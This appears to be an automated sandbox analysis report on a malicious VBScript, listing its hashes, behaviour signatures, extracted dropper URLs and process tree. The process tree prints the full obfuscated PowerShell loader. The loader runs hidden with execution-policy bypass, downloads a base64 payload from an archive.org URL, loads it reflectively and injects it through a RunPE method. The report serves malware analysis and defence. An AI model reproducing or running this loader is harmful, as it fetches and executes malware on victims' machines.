Overview

overview

10

Static

static

1

3ca2d0a1ab...5b.vbs

windows7-x64

10

3ca2d0a1ab...5b.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    95s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/10/2024, 01:19

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    3ca2d0a1abba4f885e740032d2314993fac09ffffe14a4c6a89aacf65684e45b.vbs

  • Size

    507KB

  • MD5

    8826da2dae531f219269ca314cec4f88

  • SHA1

    a5c24e29d2b9901a0849fe4c70dd67733febcb57

  • SHA256

    3ca2d0a1abba4f885e740032d2314993fac09ffffe14a4c6a89aacf65684e45b

  • SHA512

    9899a75d918671927f0dce5824135427899d75c88c153f78e8fa9ca5d39383a2cb33d092376ae631f507a3bd855636968724d9509d180e2c3a0a307a697e7de5

  • SSDEEP

    12288:r4IJKsC/UX6neBCN6Jy7f24Sjmr8NeAkWrIXbl/MCmgdTQFq30+XDNNRsgbZAKIo:kkgn2MHhso/

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3ca2d0a1abba4f885e740032d2314993fac09ffffe14a4c6a89aacf65684e45b.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv '*MDr*').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4564

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    64B

    MD5

    50a8221b93fbd2628ac460dd408a9fc1

    SHA1

    7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

    SHA256

    46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

    SHA512

    27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ivzt2xze.2mr.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/1764-0-0x00007FFE8FBC3000-0x00007FFE8FBC5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1764-1-0x0000021634900000-0x0000021634922000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1764-11-0x00007FFE8FBC0000-0x00007FFE90681000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1764-12-0x00007FFE8FBC0000-0x00007FFE90681000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1764-28-0x00007FFE8FBC0000-0x00007FFE90681000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4564-22-0x00000255E4190000-0x00000255E439C000-memory.dmp

    Filesize

    2.0MB

    Download